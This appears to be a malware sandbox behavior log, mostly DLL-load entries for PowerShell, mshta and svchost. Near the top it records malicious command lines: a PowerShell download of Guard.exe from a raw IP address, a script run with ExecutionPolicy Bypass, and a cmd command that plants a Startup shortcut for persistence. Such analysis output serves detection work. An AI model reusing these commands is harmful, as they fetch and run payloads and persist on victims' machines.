Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2088 --field-trial-handle=1744,i,5196948583256038124,6281931824865784808,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -Command "Invoke-WebRequest -Uri "http://139.99.188.124/kiiMf" -OutFile "C:\Users\Public\Guard.exe""
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -ExecutionPolicy Bypass -File "C:\Users\Public\PublicProfile.ps1"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Guard.exe "C:\Users\Public\Guard.exe" C:\Users\Public\Secure.au3
Source: C:\Users\Public\Guard.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd /k echo [InternetShortcut] > "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & echo URL="C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.js" >> "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SwiftWrite.url" & exit
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif "C:\Users\user\AppData\Local\WordGenius Technologies\SwiftWrite.pif" "C:\Users\user\AppData\Local\WordGenius Technologies\G"

Source: C:\Windows\System32\forfiles.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mshtml.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msiso.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: srpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msimtf.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dataexchange.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: imgutil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d2d1.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: jscript9.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: wsock32.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: winmm.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: mpr.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: wininet.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\PefjSkkhb.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
